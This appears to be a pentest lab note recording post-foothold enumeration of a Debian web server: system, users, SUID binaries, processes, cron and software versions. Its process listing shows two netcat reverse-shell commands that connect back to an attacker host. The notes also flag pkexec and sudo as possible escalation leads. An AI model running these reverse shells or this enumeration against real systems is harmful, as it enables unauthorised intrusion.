InfoSec LAB

law_Initial_Foothold_UNIX

Created: 9 min read

System/Kernel

www-data@law:/var/www/html$ uname -a ; cat /etc/*release
Linux law 5.10.0-23-amd64 #1 SMP Debian 5.10.179-1 (2023-05-12) x86_64 GNU/Linux
PRETTY_NAME="Debian GNU/Linux 11 (bullseye)"
NAME="Debian GNU/Linux"
VERSION_ID="11"
VERSION="11 (bullseye)"
VERSION_CODENAME=bullseye
ID=debian
HOME_URL="https://www.debian.org/"
SUPPORT_URL="https://www.debian.org/support"
BUG_REPORT_URL="https://bugs.debian.org/"
  • x86_64
  • 5.10.0-23-amd64
  • Debian GNU/Linux 11 (bullseye)

Networks

www-data@law:/var/www/html$ ip route ; arp -a
default via 192.168.178.254 dev ens192 onlink 
192.168.178.0/24 dev ens192 proto kernel scope link src 192.168.178.190 
? (192.168.178.254) at 00:50:56:9e:fc:4d [ether] on ens192
www-data@law:/var/www/html$ netstat -antup4
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0    301 192.168.178.190:33728   192.168.45.203:9999     ESTABLISHED 1691/bash

Users & Groups

www-data@law:/var/www/html$ cat /etc/passwd ; ll /home
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:109::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:110:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
total 8.0K
4.0K drwxr-xr-x 18 root root 4.0K Jun  7  2023 ..
4.0K drwxr-xr-x  2 root root 4.0K Jun  7  2023 .
www-data@law:/var/www/html$ cut -d: -f1 /etc/passwd | xargs -n1 id
uid=0(root) gid=0(root) groups=0(root)
uid=1(daemon) gid=1(daemon) groups=1(daemon)
uid=2(bin) gid=2(bin) groups=2(bin)
uid=3(sys) gid=3(sys) groups=3(sys)
uid=4(sync) gid=65534(nogroup) groups=65534(nogroup)
uid=5(games) gid=60(games) groups=60(games)
uid=6(man) gid=12(man) groups=12(man)
uid=7(lp) gid=7(lp) groups=7(lp)
uid=8(mail) gid=8(mail) groups=8(mail)
uid=9(news) gid=9(news) groups=9(news)
uid=10(uucp) gid=10(uucp) groups=10(uucp)
uid=13(proxy) gid=13(proxy) groups=13(proxy)
uid=33(www-data) gid=33(www-data) groups=33(www-data)
uid=34(backup) gid=34(backup) groups=34(backup)
uid=38(list) gid=38(list) groups=38(list)
uid=39(irc) gid=39(irc) groups=39(irc)
uid=41(gnats) gid=41(gnats) groups=41(gnats)
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
uid=100(_apt) gid=65534(nogroup) groups=65534(nogroup)
uid=101(systemd-network) gid=102(systemd-network) groups=102(systemd-network)
uid=102(systemd-resolve) gid=103(systemd-resolve) groups=103(systemd-resolve)
uid=103(messagebus) gid=109(messagebus) groups=109(messagebus)
uid=104(systemd-timesync) gid=110(systemd-timesync) groups=110(systemd-timesync)
uid=105(sshd) gid=65534(nogroup) groups=65534(nogroup)
uid=999(systemd-coredump) gid=999(systemd-coredump) groups=999(systemd-coredump)

SUIDs

www-data@law:/var/www/html$ find / -perm -04000 -ls -type f 2>/dev/null
   136738     52 -rwsr-xr--   1 root     messagebus    51336 Oct  5  2022 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
   136309    472 -rwsr-xr-x   1 root     root         481608 Jul  1  2022 /usr/lib/openssh/ssh-keysign
   666138     20 -rwsr-xr-x   1 root     root          19040 Jan 13  2022 /usr/libexec/polkit-agent-helper-1
   652890     52 -rwsr-xr-x   1 root     root          52880 Feb  7  2020 /usr/bin/chsh
   666135     24 -rwsr-xr-x   1 root     root          23448 Jan 13  2022 /usr/bin/pkexec
   652889     60 -rwsr-xr-x   1 root     root          58416 Feb  7  2020 /usr/bin/chfn
   664617     36 -rwsr-xr-x   1 root     root          34896 Feb 26  2021 /usr/bin/fusermount
   656361     44 -rwsr-xr-x   1 root     root          44632 Feb  7  2020 /usr/bin/newgrp
   656796     36 -rwsr-xr-x   1 root     root          35040 Jan 20  2022 /usr/bin/umount
   652893     64 -rwsr-xr-x   1 root     root          63960 Feb  7  2020 /usr/bin/passwd
   656505     72 -rwsr-xr-x   1 root     root          71912 Jan 20  2022 /usr/bin/su
   652892     88 -rwsr-xr-x   1 root     root          88304 Feb  7  2020 /usr/bin/gpasswd
   656794     56 -rwsr-xr-x   1 root     root          55528 Jan 20  2022 /usr/bin/mount
   653183    180 -rwsr-xr-x   1 root     root         182600 Jan 14  2023 /usr/bin/sudo
  • 666138 20 -rwsr-xr-x 1 root root 19040 Jan 13 2022 /usr/libexec/polkit-agent-helper-1
  • 666135 24 -rwsr-xr-x 1 root root 23448 Jan 13 2022 /usr/bin/pkexec

SGIDs

www-data@law:/var/www/html$ find / -type f -perm -02000 -ls 2>/dev/null
   652873     40 -rwxr-sr-x   1 root     shadow      38912 Aug 26  2021 /usr/sbin/unix_chkpwd
   660667     24 -rwxr-sr-x   1 root     tty         22760 Jan 20  2022 /usr/bin/write.ul
   652888     80 -rwxr-sr-x   1 root     shadow      80256 Feb  7  2020 /usr/bin/chage
   662575     24 -rwxr-sr-x   1 root     mail        23040 Feb  4  2021 /usr/bin/dotlockfile
   657970     44 -rwxr-sr-x   1 root     crontab     43568 Feb 22  2021 /usr/bin/crontab
   657573    348 -rwxr-sr-x   1 root     ssh        354440 Jul  1  2022 /usr/bin/ssh-agent
   654299     36 -rwxr-sr-x   1 root     tty         35048 Jan 20  2022 /usr/bin/wall
   652891     32 -rwxr-sr-x   1 root     shadow      31160 Feb  7  2020 /usr/bin/expiry

Capabilities

www-data@law:/var/www/html$ /usr/sbin/getcap -r / 2>/dev/null
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper cap_net_bind_service,cap_net_admin=ep
/usr/bin/ping cap_net_raw=ep

Processes

www-data@law:/var/www/html$ ps -auxwww
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root           1  0.0  0.4  98276  9880 ?        Ss   06:31   0:00 /sbin/init
root         226  0.0  0.5  32008 10988 ?        Ss   06:31   0:00 /lib/systemd/systemd-journald
root         252  0.0  0.2  21716  5448 ?        Ss   06:31   0:00 /lib/systemd/systemd-udevd
systemd+     455  0.0  0.3  88436  6072 ?        Ssl  06:31   0:00 /lib/systemd/systemd-timesyncd
root         457  0.0  0.5  47740 10132 ?        Ss   06:31   0:00 /usr/bin/VGAuthService
root         458  0.0  0.4 236800  9592 ?        Ssl  06:31   0:03 /usr/bin/vmtoolsd
root         469  0.0  0.1   6744  2804 ?        Ss   06:31   0:00 /usr/sbin/cron -f
message+     470  0.0  0.2   8276  4044 ?        Ss   06:31   0:00 /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only
root         472  0.0  0.3 220796  6604 ?        Ssl  06:31   0:00 /usr/sbin/rsyslogd -n -iNONE
root         474  0.0  0.3  13500  6808 ?        Ss   06:31   0:00 /lib/systemd/systemd-logind
root         488  0.0  0.0   5844  1660 tty1     Ss+  06:31   0:00 /sbin/agetty -o -p -- \u --noclear tty1 linux
root         500  0.0  1.0 108716 21204 ?        Ssl  06:31   0:00 /usr/bin/python3 /usr/share/unattended-upgrades/unattended-upgrade-shutdown --wait-for-signal
root         511  0.0  0.3  13352  7652 ?        Ss   06:31   0:00 sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups
root         534  0.0  0.9 193844 19936 ?        Ss   06:31   0:00 /usr/sbin/apache2 -k start
www-data     554  0.0  0.8 194364 17040 ?        S    06:31   0:00 /usr/sbin/apache2 -k start
www-data    1001  0.0  0.8 194364 17040 ?        S    06:47   0:00 /usr/sbin/apache2 -k start
www-data    1002  0.0  0.8 194356 17032 ?        S    06:47   0:00 /usr/sbin/apache2 -k start
www-data    1009  0.0  0.8 194356 17028 ?        S    06:47   0:00 /usr/sbin/apache2 -k start
www-data    1041  0.0  0.8 194364 17044 ?        S    06:47   0:00 /usr/sbin/apache2 -k start
www-data    1052  0.0  0.8 194356 17040 ?        S    06:47   0:00 /usr/sbin/apache2 -k start
www-data    1094  0.0  0.8 194364 16960 ?        S    06:47   0:00 /usr/sbin/apache2 -k start
www-data    1098  0.0  0.8 194364 17040 ?        S    06:47   0:00 /usr/sbin/apache2 -k start
www-data    1117  0.0  0.8 194356 17052 ?        S    06:47   0:00 /usr/sbin/apache2 -k start
www-data    1128  0.0  0.8 194516 17232 ?        S    06:49   0:00 /usr/sbin/apache2 -k start
www-data    1644  0.0  0.0   2480   572 ?        S    07:41   0:00 sh -c rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 192.168.45.203 9999 >/tmp/f
www-data    1647  0.0  0.0   2392   552 ?        S    07:41   0:00 cat /tmp/f
www-data    1671  0.0  0.0   2480   568 ?        S    07:44   0:00 sh -c ping 192.168.45.203
www-data    1672  0.0  0.0   4260   712 ?        S    07:44   0:00 ping 192.168.45.203
www-data    1690  0.0  0.0   2480   568 ?        S    07:46   0:00 sh -c /usr/bin/nc 192.168.45.203 9999 -e /bin/bash
www-data    1691  0.0  0.1   3896  2976 ?        S    07:46   0:00 bash
www-data    1705  0.0  0.0   2444   708 ?        S    07:48   0:00 script /dev/null -c bash
www-data    1706  0.0  0.0   2480   512 pts/0    Ss   07:48   0:00 sh -c bash
www-data    1707  0.0  0.1   4160  3240 pts/0    S    07:48   0:00 bash
www-data    1777  0.0  0.1   6932  3012 pts/0    R+   07:52   0:00 ps -auxwww

root 469 0.0 0.1 6744 2804 ? Ss 06:31 0:00 /usr/sbin/cron -f

Cron & Systemd

www-data@law:/var/www/html$ crontab -l ; cat /etc/crontab ; systemctl list-timers
no crontab for www-data
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
 
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
 
# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name command to be executed
17 *	* * *	root    cd / && run-parts --report /etc/cron.hourly
25 6	* * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6	* * 7	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6	1 * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
NEXT                        LEFT        LAST                        PASSED     >
Mon 2025-02-24 08:09:00 EST 15min left  Mon 2025-02-24 07:39:30 EST 14min ago  >
Mon 2025-02-24 16:33:11 EST 8h left     Thu 2023-08-24 09:53:46 EDT 1 years 6 m>
Tue 2025-02-25 00:00:00 EST 16h left    Mon 2025-02-24 06:34:03 EST 1h 19min ag>
Tue 2025-02-25 00:00:00 EST 16h left    Mon 2025-02-24 06:34:03 EST 1h 19min ag>
Tue 2025-02-25 06:36:13 EST 22h left    Mon 2025-02-24 07:15:30 EST 38min ago  >
Tue 2025-02-25 06:46:49 EST 22h left    Mon 2025-02-24 06:46:49 EST 1h 7min ago>
Sun 2025-03-02 03:10:24 EST 5 days left Mon 2025-02-24 06:34:03 EST 1h 19min ag>
Mon 2025-03-03 01:29:03 EST 6 days left Mon 2025-02-24 06:58:30 EST 55min ago  >
 
8 timers listed.
Pass --all to see loaded but inactive timers, too.
lines 1-12/12 (END)

Services

www-data@law:/var/www/html$ syssystemctl list-units --state=running
  UNIT                              LOAD   ACTIVE SUB     DESCRIPTION
  proc-sys-fs-binfmt_misc.automount loaded active running Arbitrary Executable >
  init.scope                        loaded active running System and Service Ma>
  apache2.service                   loaded active running The Apache HTTP Server
  cron.service                      loaded active running Regular background pr>
  dbus.service                      loaded active running D-Bus System Message >
  getty@tty1.service                loaded active running Getty on tty1
  open-vm-tools.service             loaded active running Service for virtual m>
  rsyslog.service                   loaded active running System Logging Service
  ssh.service                       loaded active running OpenBSD Secure Shell >
  systemd-journald.service          loaded active running Journal Service
  systemd-logind.service            loaded active running User Login Management
  systemd-timesyncd.service         loaded active running Network Time Synchron>
  systemd-udevd.service             loaded active running Rule-based Manager fo>
  unattended-upgrades.service       loaded active running Unattended Upgrades S>
  vgauth.service                    loaded active running Authentication servic>
  dbus.socket                       loaded active running D-Bus System Message >
  syslog.socket                     loaded active running Syslog Socket
  systemd-journald-audit.socket     loaded active running Journal Audit Socket
  systemd-journald-dev-log.socket   loaded active running Journal Socket (/dev/>
  systemd-journald.socket           loaded active running Journal Socket
  systemd-udevd-control.socket      loaded active running udev Control Socket
  systemd-udevd-kernel.socket       loaded active running udev Kernel Socket

Sudo Version

www-data@law:/var/www/html$ sudo --version
Sudo version 1.9.5p2
Sudoers policy plugin version 1.9.5p2
Sudoers file grammar version 48
Sudoers I/O plugin version 1.9.5p2
Sudoers audit plugin version 1.9.5p2

Sudo version 1.9.5p2

Glibc Version

www-data@law:/var/www/html$ ldd --version
ldd (Debian GLIBC 2.31-13+deb11u6) 2.31
Copyright (C) 2020 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
Written by Roland McGrath and Ulrich Drepper.

ldd (Debian GLIBC 2.31-13+deb11u6) 2.31

Interactive Graph View

Backlinks